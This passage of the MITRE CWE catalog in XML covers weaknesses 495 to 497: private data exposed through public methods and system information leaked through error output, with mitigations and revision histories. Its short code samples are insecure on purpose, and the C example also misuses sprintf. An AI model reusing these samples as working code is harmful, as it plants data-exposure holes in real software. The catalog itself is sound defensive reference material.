            <Reference External_Reference_ID="REF-454"/>
            <Reference External_Reference_ID="REF-455"/>
            <Reference External_Reference_ID="REF-456"/>
            <Reference External_Reference_ID="REF-457"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 18: The Sins of Mobile Code.&#34; Page 267"/>
            <Reference External_Reference_ID="REF-459"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Research Gap">This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Mobile Code: Invoking Untrusted Mobile Code</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Download of Untrusted Mobile Code Without Integrity Check</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="495" Name="Private Data Structure Returned From A Public Method" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The contents of the data structure can be modified from outside the intended scope.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Declare the method private.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Clone the member data and keep an unmodified version of the data private to the object.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use public setter methods that govern how a private member can be modified.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private String[] colors;<xhtml:br/>public String[] getColors() {<xhtml:div style="margin-left:1em;">return colors;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class Color<xhtml:br/>{<xhtml:div style="margin-left:1em;">private:<xhtml:div style="margin-left:1em;">int[2] colorArray;<xhtml:br/>int colorValue;</xhtml:div>public:<xhtml:div style="margin-left:1em;">Color () : colorArray { 1, 2 }, colorValue (3) { };<xhtml:br/>int[2] &amp; fa () { return colorArray; } <xhtml:i>// return reference to private array</xhtml:i><xhtml:br/>int &amp; fv () { return colorValue; } <xhtml:i>// return reference to private integer</xhtml:i></xhtml:div></xhtml:div>};<xhtml:br/><xhtml:br/>int main ()<xhtml:br/>{<xhtml:div style="margin-left:1em;">Color c;<xhtml:br/><xhtml:br/>c.fa () [1] = 42; <xhtml:i>// modifies private array element</xhtml:i><xhtml:br/>c.fv () = 42; <xhtml:i>// modifies private int</xhtml:i><xhtml:br/><xhtml:br/>return 0;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Private Array-Typed Field Returned From A Public Method</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">Private Array-Typed Field Returned From A Public Method</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="496" Name="Public Data Assigned to Private Array-Typed Field" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Assigning public data to a private array is equivalent to giving public access to the array.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The contents of the array can be modified from outside the intended scope.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not allow objects to modify private members of a class.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private String[] userRoles;<xhtml:br/>public void setUserRoles(String[] userRoles) {<xhtml:div style="margin-left:1em;">this.userRoles = userRoles;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Public Data Assigned to Private Array-Typed Field</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="497" Name="Exposure of Sensitive System Information to an Unauthorized Control Sphere" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.</Description>
         <Extended_Description><xhtml:p>Network-based products, such as web applications, often run on top of an operating system or similar environment.  When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.</xhtml:p>
	 <xhtml:p>An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts.  An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code prints the path environment variable to the standard error stream:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* path = getenv("PATH");<xhtml:br/>...<xhtml:br/>sprintf(stderr, "cannot find exe on path %s\n", path);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-68">
               <Intro_Text>This code prints all of the running processes belonging to the current user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)</xhtml:i>
                     <xhtml:br/>$userName = getCurrentUser();<xhtml:br/>$command = 'ps aux | grep ' . $userName;<xhtml:br/>system($command);</xhtml:div>
               </Example_Code>
               <Body_Text>If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code prints an exception to the standard error stream:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">...</xhtml:div>} catch (Exception e) {<xhtml:div style="margin-left:1em;">e.printStackTrace();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">...</xhtml:div>} catch (Exception e) {<xhtml:div style="margin-left:1em;">Console.Writeline(e);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>string cs="database=northwind; server=mySQLServer...";<xhtml:br/>SqlConnection conn=new SqlConnection(cs);<xhtml:br/>...<xhtml:br/>Console.Writeline(cs);</xhtml:div>
               </Example_Code>
               <Body_Text>Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>System Information Leak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR01-J</Entry_ID>
               <Entry_Name>Do not allow exceptions to expose sensitive information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="170"/>
            <Related_Attack_Pattern CAPEC_ID="694"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
